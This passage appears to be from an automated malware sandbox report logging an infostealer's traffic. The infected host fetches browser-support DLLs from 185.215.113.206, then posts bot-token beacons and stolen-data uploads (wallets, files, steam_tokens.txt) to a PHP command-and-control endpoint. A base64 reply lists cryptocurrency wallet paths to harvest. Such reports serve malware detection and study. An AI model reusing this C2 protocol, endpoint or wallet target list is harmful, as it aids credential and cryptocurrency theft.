00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 18:06:45.557908058 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:45.839982986 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 18:06:46.158680916 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:46.441745043 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 18:06:46.928961992 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:47.221543074 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 18:06:47.274503946 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:47.556982040 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 18:06:48.890913963 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 18:06:49.677450895 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:50.051944971 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 2d 2d 0d 0a Data Ascii: ------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="message"wallets------AEGHCFIDAKJEBGCAFBAE--
Oct 30, 2024 18:06:50.339366913 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 18:06:50.342981100 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"files------GIEHIDHJDBFIIECAKECB--
Oct 30, 2024 18:06:50.627773046 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:50.645133018 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Oct 30, 2024 18:06:51.427395105 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:51.459301949 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"ybncbhylepme------CGCFCFBKFCFCBGDGIEGH--
Oct 30, 2024 18:06:51.746628046 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:51.748326063 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCFIEHCFIECBGCBFHIJJ--
Oct 30, 2024 18:06:52.538759947 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	142.250.186.132	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:28 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 17:06:29 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:28 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-98ML57RUWcVCkbLYQ2FI8g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 17:06:29 UTC	112	IN	Data Raw: 33 32 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 69 6e 67 20 67 69 7a 7a 61 72 64 20 61 6e 64 20 74 68 65 20 6c 69 7a 61 72 64 20 77 69 7a 61 72 64 20 74 6f 75 72 22 2c 22 77 69 6c 6c 20 76 65 6e 61 62 6c 65 20 77 68 69 74 65 20 73 6f 78 20 6d 61 6e 61 67 65 72 22 2c 22 73 6d 63 69 20 61 75 64 69 74 6f 72 20 72 65 73 69 67 6e 73 22 Data Ascii: 327)]}'["",["king gizzard and the lizard wizard tour","will venable white sox manager","smci auditor resigns"
2024-10-30 17:06:29 UTC	702	IN	Data Raw: 2c 22 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 20 6f 70 65 6e 20 62 65 74 61 20 74 65 73 74 22 2c 22 64 65 73 20 6d 6f 69 6e 65 73 20 69 6f 77 61 20 62 65 67 67 61 72 73 20 6e 69 67 68 74 22 2c 22 63 61 74 68 6f 6c 69 63 20 63 68 75 72 63 68 20 6c 75 63 65 20 6d 61 73 63 6f 74 22 2c 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 65 61 67 6c 65 73 20 74 72 61 64 65 22 2c 22 77 65 61 74 68 65 72 20 64 65 6e 76 65 72 20 73 6e 6f 77 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b Data Ascii: ,"monster hunter wilds open beta test","des moines iowa beggars night","catholic church luce mascot","philadelphia eagles trade","weather denver snow"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk
2024-10-30 17:06:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
